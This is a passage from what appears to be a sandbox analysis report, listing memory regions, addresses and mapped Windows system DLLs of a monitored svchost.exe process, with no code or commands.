0x2170000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002170000" filename = "" Region: id = 1157 start_va = 0x21f0000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 1158 start_va = 0x2270000 end_va = 0x22effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1159 start_va = 0x2360000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002360000" filename = "" Region: id = 1160 start_va = 0x23f0000 end_va = 0x246ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 1161 start_va = 0x24c0000 end_va = 0x253ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024c0000" filename = "" Region: id = 1162 start_va = 0x2540000 end_va = 0x25bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002540000" filename = "" Region: id = 1163 start_va = 0x25e0000 end_va = 0x265ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025e0000" filename = "" Region: id = 1164 start_va = 0x2660000 end_va = 0x275ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002660000" filename = "" Region: id = 1165 start_va = 0x2790000 end_va = 0x280ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002790000" filename = "" Region: id = 1166 start_va = 0x2830000 end_va = 0x28affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002830000" filename = "" Region: id = 1167 start_va = 0x2930000 end_va = 0x29affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002930000" filename = "" Region: id = 1168 start_va = 0x29f0000 end_va = 0x2a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029f0000" filename = "" Region: id = 1169 start_va = 0x2ac0000 end_va = 0x2b3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 1170 start_va = 0x2b60000 end_va = 0x2bdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b60000" filename = "" Region: id = 1171 start_va = 0x2be0000 end_va = 0x2cdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002be0000" filename = "" Region: id = 1172 start_va = 0x2ce0000 end_va = 0x2edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ce0000" filename = "" Region: id = 1173 start_va = 0x2f00000 end_va = 0x2f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f00000" filename = "" Region: id = 1174 start_va = 0x2f80000 end_va = 0x2ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f80000" filename = "" Region: id = 1175 start_va = 0x30f0000 end_va = 0x316ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000030f0000" filename = "" Region: id = 1176 start_va = 0x31a0000 end_va = 0x321ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000031a0000" filename = "" Region: id = 1177 start_va = 0x3220000 end_va = 0x331ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003220000" filename = "" Region: id = 1178 start_va = 0x3330000 end_va = 0x33affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003330000" filename = "" Region: id = 1179 start_va = 0x3400000 end_va = 0x347ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003400000" filename = "" Region: id = 1180 start_va = 0x3480000 end_va = 0x357ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003480000" filename = "" Region: id = 1181 start_va = 0x35b0000 end_va = 0x35bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000035b0000" filename = "" Region: id = 1182 start_va = 0x35d0000 end_va = 0x364ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000035d0000" filename = "" Region: id = 1183 start_va = 0x36a0000 end_va = 0x371ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000036a0000" filename = "" Region: id = 1184 start_va = 0x3720000 end_va = 0x379ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003720000" filename = "" Region: id = 1185 start_va = 0x37a0000 end_va = 0x385ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1186 start_va = 0x3880000 end_va = 0x388ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003880000" filename = "" Region: id = 1187 start_va = 0x3890000 end_va = 0x390ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003890000" filename = "" Region: id = 1188 start_va = 0x3940000 end_va = 0x39bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003940000" filename = "" Region: id = 1189 start_va = 0x39d0000 end_va = 0x3dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000039d0000" filename = "" Region: id = 1190 start_va = 0x3df0000 end_va = 0x3e6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003df0000" filename = "" Region: id = 1191 start_va = 0x3e80000 end_va = 0x3f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e80000" filename = "" Region: id = 1192 start_va = 0x40b0000 end_va = 0x412ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000040b0000" filename = "" Region: id = 1193 start_va = 0x4180000 end_va = 0x41fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004180000" filename = "" Region: id = 1194 start_va = 0x4240000 end_va = 0x42bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004240000" filename = "" Region: id = 1195 start_va = 0x42f0000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042f0000" filename = "" Region: id = 1196 start_va = 0x4480000 end_va = 0x44fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004480000" filename = "" Region: id = 1197 start_va = 0x4630000 end_va = 0x46affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004630000" filename = "" Region: id = 1198 start_va = 0x46c0000 end_va = 0x473ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000046c0000" filename = "" Region: id = 1199 start_va = 0x5930000 end_va = 0x593ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005930000" filename = "" Region: id = 1200 start_va = 0x5b10000 end_va = 0x5b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b10000" filename = "" Region: id = 1201 start_va = 0x5db0000 end_va = 0x5e2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005db0000" filename = "" Region: id = 1202 start_va = 0x5f10000 end_va = 0x610ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f10000" filename = "" Region: id = 1203 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1204 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1205 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1206 start_va = 0x77da0000 end_va = 0x77da6fff monitored = 0 entry_point = 0x77da106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 1207 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1208 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1209 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1210 start_va = 0xffc50000 end_va = 0xffc5afff monitored = 0 entry_point = 0xffc5246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1211 start_va = 0x7fef4100000 end_va = 0x7fef4141fff monitored = 0 entry_point = 0x7fef4130048 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 1212 start_va = 0x7fef44e0000 end_va = 0x7fef44f9fff monitored = 0 entry_point = 0x7fef44f1ae4 region_type = mapped_file name = "rascfg.dll" filename = "\\Windows\\System32\\rascfg.dll" (normalized: "c:\\windows\\system32\\rascfg.dll") Region: id = 1213 start_va = 0x7fef4520000 end_va = 0x7fef452efff monitored = 0 entry_point = 0x7fef4526894 region_type = mapped_file name = "ndiscapcfg.dll" filename = "\\Windows\\System32\\ndiscapCfg.dll" (normalized: "c:\\windows\\system32\\ndiscapcfg.dll") Region: id = 1214 start_va = 0x7fef46b0000 end_va = 0x7fef4902fff monitored = 0 entry_point = 0x7fef46b236c region_type = mapped_file name = "wuaueng.dll" filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll") Region: id = 1215 start_va = 0x7fef4910000 end_va = 0x7fef492afff monitored = 0 entry_point = 0x7fef4911198 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 1216 start_va = 0x7fef4c70000 end_va = 0x7fef4cb4fff monitored = 0 entry_point = 0x7fef4ca3644 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 1217 start_va = 0x7fef4cc0000 end_va = 0x7fef4cd1fff monitored = 0 entry_point = 0x7fef4cc90bc region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 1218 start_va = 0x7fef4ce0000 end_va = 0x7fef4ce9fff monitored = 0 entry_point = 0x7fef4ce3994 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 1219 start_va = 0x7fef4cf0000 end_va = 0x7fef4dc1fff monitored = 0 entry_point = 0x7fef4d81a10 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 1220 start_va = 0x7fef68b0000 end_va = 0x7fef68cbfff monitored = 0 entry_point = 0x7fef68b11a0 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 1221 start_va = 0x7fef68d0000 end_va = 0x7fef6931fff monitored = 0 entry_point = 0x7fef68d1198 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 1222 start_va = 0x7fef6940000 end_va = 0x7fef6979fff monitored = 0 entry_point = 0x7fef6941010 region_type = mapped_file name = "mprapi.dll" filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll") Region: id = 1223 start_va = 0x7fef79d0000 end_va = 0x7fef79ecfff monitored = 0 entry_point = 0x7fef79d2f18 region_type = mapped_file name = "mmcss.dll" filename = "\\Windows\\System32\\mmcss.dll" (normalized: "c:\\windows\\system32\\mmcss.dll") Region: id = 1224 start_va = 0x7fef7a00000 end_va = 0x7fef7a14fff monitored = 0 entry_point = 0x7fef7a01020 region_type = mapped_file name = "appinfo.dll" filename = "\\Windows\\System32\\appinfo.dll" (normalized: "c:\\windows\\system32\\appinfo.dll") Region: id = 1225 start_va = 0x7fef7c30000 end_va = 0x7fef7ea9fff monitored = 0 entry_point = 0x7fef7c62200 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 1226 start_va = 0x7fef7eb0000 end_va = 0x7fef7ec6fff monitored = 0 entry_point = 0x7fef7eb9d50 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 1227 start_va = 0x7fef9a70000 end_va = 0x7fef9aebfff monitored = 0 entry_point = 0x7fef9a711d4 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 1228 start_va = 0x7fef9bd0000 end_va = 0x7fef9bdefff monitored = 0 entry_point = 0x7fef9bd9a48 region_type = mapped_file name = "mspatcha.dll" filename = "\\Windows\\System32\\mspatcha.dll" (normalized: "c:\\windows\\system32\\mspatcha.dll") Region: id = 1229 start_va = 0x7fef9c00000 end_va = 0x7fef9c07fff monitored = 0 entry_point = 0x7fef9c01414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1230 start_va = 0x7fef9c10000 end_va = 0x7fef9c83fff monitored = 0 entry_point = 0x7fef9c166f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 1231 start_va = 0x7fef9c90000 end_va = 0x7fef9cfafff monitored = 0 entry_point = 0x7fef9cd4344 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 1232 start_va = 0x7fef9d00000 end_va = 0x7fef9d70fff monitored = 0 entry_point = 0x7fef9d451d0 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 1233 start_va = 0x7fef9d80000 end_va = 0x7fef9d91fff monitored = 0 entry_point = 0x7fef9d889d0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 1234 start_va = 0x7fef9da0000 end_va = 0x7fef9e54fff monitored = 0 entry_point = 0x7fef9e1cf80 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 1235 start_va = 0x7fef9e60000 end_va = 0x7fef9eb9fff monitored = 0 entry_point = 0x7fef9e9dde0 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 1236 start_va = 0x7fef9ec0000 end_va = 0x7fef9ee0fff monitored = 0 entry_point = 0x7fef9ed03b0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1237 start_va = 0x7fef9ef0000 end_va = 0x7fef9f08fff monitored = 0 entry_point = 0x7fef9ef1104 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 1238 start_va = 0x7fef9f10000 end_va = 0x7fef9f5ffff monitored = 0 entry_point = 0x7fef9f11190 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 1239 start_va = 0x7fef9f60000 end_va = 0x7fef9f67fff monitored = 0 entry_point = 0x7fef9f61020 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 1240 start_va = 0x7fef9f70000 end_va = 0x7fef9f89fff monitored = 0 entry_point = 0x7fef9f83fbc region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 1241 start_va = 0x7fef9f90000 end_va = 0x7fef9fa2fff monitored = 0 entry_point = 0x7fef9f91d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1242 start_va = 0x7fef9fb0000 end_va = 0x7fefa011fff monitored = 0 entry_point = 0x7fef9febd80 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 1243 start_va = 0x7fefa020000 end_va = 0x7fefa14bfff monitored = 0 entry_point = 0x7fefa0d0ef0 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 1244 start_va = 0x7fefa150000 end_va = 0x7fefa1d3fff monitored = 0 entry_point = 0x7fefa1a1118 region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll") Region: id = 1245 start_va = 0x7fefa1e0000 end_va = 0x7fefa204fff monitored = 0 entry_point = 0x7fefa1f8c54 region_type = mapped_file name = "browser.dll" filename = "\\Windows\\System32\\browser.dll" (normalized: "c:\\windows\\system32\\browser.dll") Region: id = 1246 start_va = 0x7fefa210000 end_va = 0x7fefa24cfff monitored = 0 entry_point = 0x7fefa211070 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 1247 start_va = 0x7fefa250000 end_va = 0x7fefa25dfff monitored = 0 entry_point = 0x7fefa255500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1248 start_va = 0x7fefa260000 end_va = 0x7fefa286fff monitored = 0 entry_point = 0x7fefa2611a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1249 start_va = 0x7fefa290000 end_va = 0x7fefa362fff monitored = 0 entry_point = 0x7fefa308b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1250 start_va = 0x7fefa3b0000 end_va = 0x7fefa3f6fff monitored = 0 entry_point = 0x7fefa3b1040 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 1251 start_va = 0x7fefa400000 end_va = 0x7fefa441fff monitored = 0 entry_point = 0x7fefa4017e4 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 1252 start_va = 0x7fefa450000 end_va = 0x7fefa4e1fff monitored = 0 entry_point = 0x7fefa4c51ec region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 1253 start_va = 0x7fefa4f0000 end_va = 0x7fefa566fff monitored = 0 entry_point = 0x7fefa52e7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 1254 start_va = 0x7fefa570000 end_va = 0x7fefa5a9fff monitored = 0 entry_point = 0x7fefa58d020 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 1255 start_va = 0x7fefa880000 end_va = 0x7fefa890fff monitored = 0 entry_point = 0x7fefa889e7c region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 1256 start_va = 0x7fefa8a0000 end_va = 0x7fefa903fff monitored = 0 entry_point = 0x7fefa8a1254 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1257 start_va = 0x7fefa910000 end_va = 0x7fefa980fff monitored = 0 entry_point = 0x7fefa911010 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1258 start_va = 0x7fefaa50000 end_va = 0x7fefaa66fff monitored = 0 entry_point = 0x7fefaa51060 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 1259 start_va = 0x7fefaa70000 end_va = 0x7fefac1ffff monitored = 0 entry_point = 0x7fefaa71010 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 1260 start_va = 0x7fefaca0000 end_va = 0x7fefacabfff monitored = 0 entry_point = 0x7fefaca602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 1261 start_va = 0x7fefae00000 end_va = 0x7fefae08fff monitored = 0 entry_point = 0x7fefae011a0 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 1262 start_va = 0x7fefb030000 end_va = 0x7fefb0a6fff monitored = 0 entry_point = 0x7fefb03afd0 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 1263 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1264 start_va = 0x7fefb0c0000 end_va = 0x7fefb1d1fff monitored = 0 entry_point = 0x7fefb0df354 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 1265 start_va = 0x7fefb1e0000 end_va = 0x7fefb1eefff monitored = 0 entry_point = 0x7fefb1e7e80 region_type = mapped_file name = "wiarpc.dll" filename = "\\Windows\\System32\\wiarpc.dll" (normalized: "c:\\windows\\system32\\wiarpc.dll") Region: id = 1266 start_va = 0x7fefb1f0000 end_va = 0x7fefb1f8fff monitored = 0 entry_point = 0x7fefb1f3668 region_type = mapped_file name = "fvecerts.dll" filename = "\\Windows\\System32\\fvecerts.dll" (normalized: "c:\\windows\\system32\\fvecerts.dll") Region: id = 1267 start_va = 0x7fefb200000 end_va = 0x7fefb208fff monitored = 0 entry_point = 0x7fefb201020 region_type = mapped_file name = "tbs.dll" filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll") Region: id = 1268 start_va = 0x7fefb210000 end_va = 0x7fefb265fff monitored = 0 entry_point = 0x7fefb211040 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 1269 start_va = 0x7fefb270000 end_va = 0x7fefb2cdfff monitored = 0 entry_point = 0x7fefb279024 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 1270 start_va = 0x7fefb370000 end_va = 0x7fefb387fff monitored = 0 entry_point = 0x7fefb371bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1271 start_va = 0x7fefb390000 end_va = 0x7fefb3a0fff monitored = 0 entry_point = 0x7fefb3916ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1272 start_va = 0x7fefb3e0000 end_va = 0x7fefb432fff monitored = 0 entry_point = 0x7fefb3e2b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1273 start_va = 0x7fefb5f0000 end_va = 0x7fefb5fafff monitored = 0 entry_point = 0x7fefb5f1198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1274 start_va = 0x7fefb600000 end_va = 0x7fefb626fff monitored = 0 entry_point = 0x7fefb6098bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1275 start_va = 0x7fefb640000 end_va = 0x7fefb653fff monitored = 0 entry_point = 0x7fefb643e64 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 1276 start_va = 0x7fefb660000 end_va = 0x7fefb6c6fff monitored = 0 entry_point = 0x7fefb676060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1277 start_va = 0x7fefb6d0000 end_va = 0x7fefb6dafff monitored = 0 entry_point = 0x7fefb6d4f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 1278 start_va = 0x7fefb6e0000 end_va = 0x7fefb6ebfff monitored = 0 entry_point = 0x7fefb6e15d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 1279 start_va = 0x7fefb6f0000 end_va = 0x7fefb6fffff monitored = 0 entry_point = 0x7fefb6f835c region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 1280 start_va = 0x7fefb700000 end_va = 0x7fefb718fff monitored = 0 entry_point = 0x7fefb7011a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1281 start_va = 0x7fefb720000 end_va = 0x7fefb756fff monitored = 0 entry_point = 0x7fefb728424 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 1282 start_va = 0x7fefb760000 end_va = 0x7fefb774fff monitored = 0 entry_point = 0x7fefb7660d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1283 start_va = 0x7fefb780000 end_va = 0x7fefb841fff monitored = 0 entry_point = 0x7fefb78101c region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 1284 start_va = 0x7fefbac0000 end_va = 0x7fefbac8fff monitored = 0 entry_point = 0x7fefbac1010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 1285 start_va = 0x7fefbbb0000 end_va = 0x7fefbbdcfff monitored = 0 entry_point = 0x7fefbbb1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1286 start_va = 0x7fefbbe0000 end_va = 0x7fefbbf0fff monitored = 0 entry_point = 0x7fefbbe14c0 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 1287 start_va = 0x7fefbc40000 end_va = 0x7fefbcb0fff monitored = 0 entry_point = 0x7fefbc7ecc4 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 1288 start_va = 0x7fefbd30000 end_va = 0x7fefbd43fff monitored = 0 entry_point = 0x7fefbd316b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 1289 start_va = 0x7fefbd50000 end_va = 0x7fefbd64fff monitored = 0 entry_point = 0x7fefbd51050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1290 start_va = 0x7fefbd70000 